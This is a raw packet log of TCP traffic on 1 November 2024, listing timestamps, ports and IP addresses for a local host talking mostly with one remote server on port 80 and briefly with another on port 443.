Nov 1, 2024 00:38:56.077775002 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.077792883 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.077805996 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.078358889 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.078372955 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.078385115 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.078397036 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.078413963 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.078423023 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.078453064 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.152563095 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.152587891 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.152606964 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.152618885 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.152630091 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.152631998 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.152661085 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.152761936 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.152937889 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.152956963 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.152967930 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.152991056 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.153018951 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.193222046 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.193243980 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.193254948 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.193296909 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.193324089 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.193464994 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.193485022 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.193495989 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.193523884 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.193550110 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.193582058 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.193593979 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.193604946 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.193631887 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.193658113 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.193834066 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.193845034 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.193855047 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.193882942 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.193896055 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.194144964 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.194161892 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.194171906 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.194184065 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.194192886 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.194196939 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.194215059 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.194237947 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.194658041 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.194670916 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.194680929 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.194694996 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.194705963 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.194706917 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.194715977 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.194725990 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.194730043 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.194736004 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.194751978 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.194760084 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.194772005 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.194789886 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.195557117 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.195602894 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.195602894 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.195622921 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.195648909 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.195660114 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.269256115 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.269282103 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.269296885 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.269319057 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.269339085 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.269371986 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.269390106 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.269406080 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.269422054 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.269454002 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.269880056 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.269896984 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.269908905 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.269927025 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.269953966 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.311470032 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.311486959 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.311496973 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.311506987 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.311521053 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.311531067 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.311539888 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.311549902 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.311562061 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.311573029 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.311583996 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.311595917 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.311608076 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.311635017 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.311773062 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.314321995 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.314337969 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.314348936 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.314358950 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.314368963 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.314377069 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.314384937 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.314398050 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.314405918 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.314433098 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.314461946 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.314472914 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.314482927 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.314495087 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.314501047 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.314506054 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.314517021 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.314527988 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.314538956 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.314579964 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.314579964 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.314579964 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.386430979 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.386450052 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.386461020 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.386508942 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.386543036 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.386552095 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.386564016 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.386591911 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.386603117 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.386883974 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.386924982 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.386929989 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.386941910 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.386970043 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.386981964 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.427356958 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.427443027 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.427455902 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.427465916 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.427469969 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.427484035 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.427510023 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.427587986 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.427601099 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.427638054 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.427651882 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.427663088 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.427696943 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.427920103 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.427966118 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.427968979 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.427978039 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.427994967 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.428008080 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.428031921 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.428288937 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.428332090 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.428335905 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.428345919 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.428356886 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.428374052 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.428392887 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.429009914 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.429058075 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.429092884 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.429102898 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.429115057 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.429128885 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.429131031 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.429141998 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.429148912 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.429155111 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.429167032 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.429179907 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.429182053 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.429197073 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.429266930 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.429583073 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.429594040 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.429605007 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.429632902 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.429644108 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.429650068 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.429657936 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.429668903 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.429683924 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.429706097 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.503524065 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.503546000 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.503557920 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.503582954 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.503607988 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.503693104 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.503704071 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.503737926 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.503763914 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.503772974 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.503777027 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.503799915 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.503802061 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.503830910 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.503849030 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.526225090 CET	443	49967	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:56.526329041 CET	443	49967	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:56.526415110 CET	49967	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:56.526595116 CET	49967	443	192.168.2.6	188.114.96.3
Nov 1, 2024 00:38:56.526616096 CET	443	49967	188.114.96.3	192.168.2.6
Nov 1, 2024 00:38:56.544924021 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.544939995 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.544956923 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.544967890 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.544976950 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.545003891 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.545007944 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.545197964 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.545208931 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.545218945 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.545242071 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.545262098 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.545289040 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.545300007 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.545311928 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.545337915 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.545351028 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.545361996 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.545373917 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.545413017 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.545567989 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.545578957 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.545588970 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.545603991 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.545650005 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.545799017 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.545809984 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.545821905 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.545835972 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.545844078 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.545846939 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.545877934 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.545888901 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.546317101 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.546329021 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.546339989 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.546370029 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.546394110 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.546416998 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.546435118 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.546446085 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.546458006 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.546471119 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.546473026 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.546482086 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.546506882 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.547269106 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.547286987 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.547297955 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.547305107 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.547349930 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.547349930 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.620582104 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.620604992 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.620619059 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.620630980 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.620631933 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.620666027 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.620673895 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.620682955 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.620699883 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.620728016 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.620754957 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.620767117 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.620795012 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.620817900 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.661851883 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.661866903 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.661878109 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.661919117 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.661922932 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.661938906 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.661951065 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.661972046 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.661989927 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.662174940 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.662187099 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.662198067 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.662233114 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.662245035 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.662405014 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.662477016 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.662523985 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.662561893 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.662610054 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.662638903 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.662651062 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.662662029 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.662691116 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.662691116 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.662702084 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.662736893 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.663006067 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.663115978 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.663127899 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.663139105 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.663147926 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.663165092 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.663182020 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.663194895 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.663198948 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.663207054 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.663212061 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.663219929 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.663234949 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.663260937 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.663290024 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.663918018 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.663986921 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.664011955 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.664026976 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.664038897 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.664050102 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.664050102 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.664072990 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.664084911 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.664274931 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.664319992 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.664355040 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.664366007 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.664387941 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.664402008 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.664405107 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.664412975 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.664423943 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.664431095 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.664437056 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.664446115 CET	80	49948	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:56.664458036 CET	49948	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:56.664485931 CET	49948	80	192.168.2.6	185.215.113.16
